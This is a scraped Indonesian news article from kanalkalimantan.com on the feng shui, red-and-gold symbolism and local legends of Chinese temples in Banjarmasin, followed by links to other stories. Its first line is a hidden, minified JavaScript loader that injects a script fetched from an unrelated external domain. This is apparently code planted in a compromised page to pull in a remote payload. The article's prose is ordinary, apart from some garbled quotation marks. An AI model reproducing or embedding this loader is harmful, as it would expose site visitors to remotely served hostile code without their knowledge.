(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Sudah dikenal, bahwa masyarakat China tidak sembarang dalam merancang bangunan. Mereka memiliki keyakinan, untuk membangun rumah harus memiliki aura yang bagus dan memiliki makna dari tiap bentuk di bangunan. Penataan itu disebut Feng Sui.
Penjelasan Feng Sui dari Klenteng Soetji Nurani di antaranya, dekat dengan aliran air seperti sungai dan laut, diyakini akan membawa ketenangan dan ketentraman. Seperti yang berada pada Ajaran Tri Dharma yaitu Hong Sui, Hong yang artinya Angin dan Sui yang artinya Air. Setiap bangunan China terkhususnya tempat beribadahan harus memiliki kedua unsur tersebut agar saat melakukan kegiatan atau beribadahan akan memiliki ketenangan raga dan jiwa. “Serta makna memiliki banyak pintu ataupun jendela adalah bentuk dari keterbukaan etnis tiong hoa terhadap semua orang yang ingin bekunjung dan mampir, tidak ada rasa perbedaan antara umat beragama,†jelasnya.
Corak warna merah dan aksen kuning keemasan di setiap sudut bangunan, menggambarkan keadaan yang terang dan ceria dalam kehidupan masyarakat Cina itu sendiri. Warna merah melambangkan kemakmuran, semangat hidup dan keberuntungan. Dalam budaya Cina, merah berhubungan dengan lima elemen utama, arah dan empat musim. Merah dikaitkan dengan musim panas, api dan arah Selatan dan warna keemasan memiliki makna rezeki yang terus mengalir kepada etnis tiong hoa yang identik dengan pedagang atau pembisnis.
Ada mitos yang unik dari klenteng Soetji Nurani, Klenteng ini merupakan bangunan khas Istana Raja China dahulu dan konon apabila berdoa dan memanjaatkan keinginan akan terkabul. Namum ada kisah tersendiri juga dari Klenteng Karta Raharja atau Po An Kiong. Konon Klenteng ini dipercayai etnis china pernah dituruni dewa untuk melindungi tempat tersebut dari tragedi kerusuhan antara kedua Parpol PPP dan Golkar di Banjarmasin pada 23 Mei 1997 lalu.
Kala itu, ada warga di sekitar klenteng yang melihat penampakan seorang pria berpakaian perang tentara Cina zaman dulu turun dari langit masuk ke dalam klenteng. Anehnya, saat massa mengamuk, kelenteng ini turut terkena imbasnya. Namun tak ada kerusakan yang berarti.
“Saat kejadian itu mereka selalu meyakini bahwa kelenteng ini selalu dijaga dewa dalam kepercayaan mereka. Di waktu-waktu tertentu, kelenteng ini kerap dikunjungi penganut kepercayaannya untuk berdoa atau menggelar ritual keagamaan besar,†pungkasnya. (ammar)
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas Pedagang Kaki Lima alias PKL di sepanjang jalan Pangeran Suriansyah, Kelurahan… Read More
KANALKALIMANTAN.COM, JAKARTA - Wakil Presiden RI, KH Ma’ruf Amin secara simbolis menyerahkan bantuan Motor Perpustakaan… Read More
KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More
KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More
Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More
This website uses cookies.